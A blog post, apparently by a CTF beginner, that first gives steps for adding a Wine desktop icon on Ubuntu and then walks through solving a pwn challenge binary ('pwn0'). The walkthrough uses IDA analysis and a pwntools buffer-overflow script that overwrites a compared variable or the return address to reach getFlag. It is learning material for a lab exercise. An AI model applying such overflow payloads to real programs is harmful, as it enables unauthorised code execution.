ubuntu16.04 添加wine 桌面图标
1。sudo apt-get install gnome-panel
2。sudo gnome-desktop-item-edit /usr/share/applications/ --create-new
3。在命令处输入 类似的 wine "/home/yzl/.wine/drive_c/Program Files/ida/ida.exe"。
4。进入/usr/share/applications,找到添加的图标,右键复制到桌面。
ctf第一个小实验
参考 :https://github.com/Hcamael/docker_lib/tree/master/pwn
实验代码 pwn0
binwalk pwn0 :
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
1746 0x6D2 Unix path: /home/pwn/pwn0/flag
打开idapro 32位,将pwn0拖入,可以看到三个函数,main foo 和getFlag
在main中a1被赋予12345678H,而在foo中判断a1是否等于61616161H,等于才会执行getFlag函数,也就是说正常情况下,永远得不到flag。
逆向解决思路:修改判断,执行getFlag函数,得到flag。方法较多,可以将判断条件反置,也可以将a1值修改,或者修改61616161H等。但在实际情况中却不成功,总会出现段错误(核心已转移),原因和解决方法未知。
pwn思路:覆盖ret值,将其改为getFlag返回地址0x0804855B,输入s的长度为1c。
或者由于a1是与61616161H做比较,可以疯狂传入a,覆盖原来的a值,但最后还是报错段错误(核心已转移)的错误
注入脚本如下:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
from socket import *
from commands import *
#conn = remote('127.0.0.1', 32772)
conn = process("./pwn0")
pwn_elf = ELF('pwn0')
print conn.recvline()
payload = (32+4+4) * 'a' # 0x1c长度的buf + 4 byte的ebp
conn.sendline(payload)
print conn.recv()
print conn.recv()
但执行报错,原因不明,正在调试。
段错误(核心已转移)的原因如下:
1、访问不存在的内存地址
2、访问系统保护的内存地址
3、访问只读的内存地址
4、空指针废弃
5、堆栈溢出
6、内存越界(数组越界,变量类型不一致等)
可以通过dmesg命令获取断错误信息,或者gcc调试时加入-g指令,或者使用catchsegv
本程序通过ida单步进入调试,发现本机文件路径错误(没开docker,直接用的本地的pwn。),纠正之后,成功。
原文出处:https://blog.csdn.net/vaing_lory/article/details/81223349
共同学习,写下你的评论
评论加载中...
作者其他优质文章